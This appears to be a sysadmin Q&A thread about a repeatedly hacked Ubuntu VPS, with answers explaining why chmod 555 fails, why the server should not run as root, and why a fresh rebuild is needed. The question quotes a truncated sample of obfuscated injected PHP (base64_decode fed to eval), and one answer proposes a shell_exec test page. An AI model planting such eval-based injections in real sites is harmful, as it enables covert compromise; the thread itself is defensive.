Permissions set to 555. How can another user modify the files?

Question

I run an Ubuntu 12.04 x64 VPS with Vesta, and a site in PHP. It has been hacked several times with injected code that looks like this:

<?php $KoDgalxVvsZfidVcEOTJDeMX='ba'.'se6'.'4_deco'.'de';eval($KoDgalxVvsZfidVcEOTJDeMX("cHJlZ19yZXBsYWNlKCIvN0xna0xnND1IR2JEOGs2WDht....

To fix it, I decided to change permissions and owner of all the files to 555 and root, so no user can change the files. I removed FTP access and secured SSH so only the keys I have in the VPS are able to connect.

In spite of all these changes, another user is always able to change files, rename folders, and upload another hacked file.

What do you think I am missing? Any suggestion? Thank you! If you need further information about this issue I will be glad to share, to help others suffering from the same evil!

Answer 1

If you can avoid it, you should not be running the web server processes as the root user, since that means the compromise of any vulnerability in the web service will completely compromise the server.

With where you are now, I'd recommend starting from scratch on a new server - the attacker could have given themselves persistent root access through any number of methods. See here for more information.

Answer 2

In spite of all these changes, another user is always able to change files, rename folders, and upload another hacked file.

If the parent directory of your web root is owned by the same user who runs the web server, then those parent directory permissions would override any permissions set to child files and directories.

For example, open up a “Terminal” process in any directory you own. Now create a file called zzz_test.txt like this:

touch zzz_foo.txt

Now check the file like this:

ls -la zzz_foo.txt

Permissions—in my case—look like this:

-rw-r--r--  1 jake  staff  0 Feb 23 19:11 zzz_foo.txt

Then I run chmod like this:

chmod 555 zzz_foo.txt 

Now run ls -la again and the result will look like this:

-r-xr-xr-x  1 jake  staff  0 Feb 23 19:11 zzz_foo.txt

Okay, permissions are changed. So let’s do something “crazy” like attempt to delete it:

rm zzz_foo.txt

The response would be:

override r-xr-xr-x  jack/staff for zzz_foo.txt?

And then simply hit y and press return and viola! The file is gone.

This is why simply changing file permissions will never be an effective way to secure a web server. The simple nature of the way web servers work—especially if it is based in PHP—means that the web server user will always have read and write access to files it needs to access. So the act of simply going chmod 555 [some files] is an ineffective way to “defend” oneself against malware and hacking attempts.

As for what you can do now? Well, simply changing permissions and ownership add up to nothing. The larger issue is your PHP codebase is vulnerable to attack. So the only effective way to clean up this kind of stuff is clean up your PHP code. If this site is based on a canned framework like Joomla!, WordPress or CakePHP then the best course of action is to upgrade the core Joomla!, WordPress or CakePHP framework to plug up the security hold. Similarly, if there is a Joomla!, WordPress or CakePHP plugin that is vulnerable to attack, that plugin should be upgraded/patched to plug in the hole.

And past all of that, your core system software—assuming it is a L.A.M.P. (Linux Apache MySQL PHP) stack—should be kept up to date and patched as well.

At the end of the day website security is not just a one time thing. It is an overall mentality and maintenance process that must be adhered to. Otherwise when your site does get hacked, you will be running headless in the aftermath attempting to clean up the mess which can actually cause more damage than the initial malware incursion itself.

Answer 3

An attacker got root on your system. You can't trust ANYTHING on the system, at all. The scope of what can be done by a rootkit is vast.

If you have backups of your content somewhere, then use them. Otherwise, you can hope the attacker didn't mess up your data. Dump your SQL tables and copy that along with your other stuff (jpgs, pdfs, html, but NOT any scripts / php / anything else that will be executed). Copy it to another system, or dowload it to your home computer if it's small enough for you to be able to upload it again.

Do whatever you can to verify that what you copied is still ok. (like check that the jpgs are still all valid jpgs, just in case. Maybe run a virus scanner on them?)

Blow away the compromised install. If your server is hosted on a typical hosting service, then hopefully they have things set up so you have a control panel that can't be messed up even by root on the host. So you can hope that the attacker didn't manage to touch anything outside of the machine they compromised. (If you had passwordless access to anything else set up on that machine, though, check them.)

Do whatever you have to do to make a fresh install. Might as well move to Ubuntu 14.04 LTS, since you have to reinstall anyway.

Do NOT copy any code from the compromised system to the new system. All data that came from the compromised system should be treated like a potential plague carrier.

Unix filesystem semantics require write permission on the directory for you to remove files. (filenames are links from a name to an inode. The system call to make hardlinks (other names for a file) is link(2), and the call to remove a file is unlink(2).)

If the sticky bit is set on a directory (chmod +t), unlink(2) and rename(2) also require that the caller own the file to be unlinked or renamed. (regardless of write permission on the file). It's standard for /tmp and /var/tmp to be 1777 (world writeable with sticky bit set).

rm, the shell command, is required by POSIX to prompt before unlinking read-only files, but it has to check for that case. It doesn't have to actually do anything more than unlink(2) like it would for any other file. So don't be fooled into thinking that this has any effect at all on an adversary.

None of this is very relevant to defending against attacks, because the most likely case is gaining control of your web server process, or something else that is running with a user-id that does have write access to a lot of things.

The more you can limit what can be written by processes that have to deal with data from the Internet, the less chance there is for an attacker to escalate from getting control of your httpd to modifying your data or getting control of your whole machine.

This is why you shouldn't run apache as root.

Answer 4

I agree with starting over with the server option, but if you want more security and control, a dedicated server is a better idea.

As for your situation, the first thing I suggest is to disable every running service except for shell access. This means stop the FTP service, the web server (HTTP), email, etc etc. Next go into the shell and navigate to the folders containing the items you claimed are being hacked. then type in:

ls -al

You should see something similar to the following in the results:

drwxrwxrwx  2 root root  4096 2014-10-10 00:31 ./

If the fourth item (or especially the third item) is actually "root", then you're in deep trouble and you need to redo your web server configuration so that it executes things as different users depending on folder. You should look into mod_rewrite (or similar) for apache then adjust your apache configuration file (httpd.conf) accordingly so that the system changes the username when every request to the folder is made. Then change the username and groupname of the folder accordingly.

Once that's fixed, then navigate to the document root folder (likely public_html), use an editor (pico works) and type in the following:

<?php
echo shell_exec("whoami");
?>

then save it as who.php. Next turn on the web server and in any browser, go to your website home page but add who.php to the end of it and you should see only one word on the screen. If that word is root, then you're in deep trouble and need to take the above steps again. If the word is nobody, then you're somewhat in trouble because hackers know that username very well.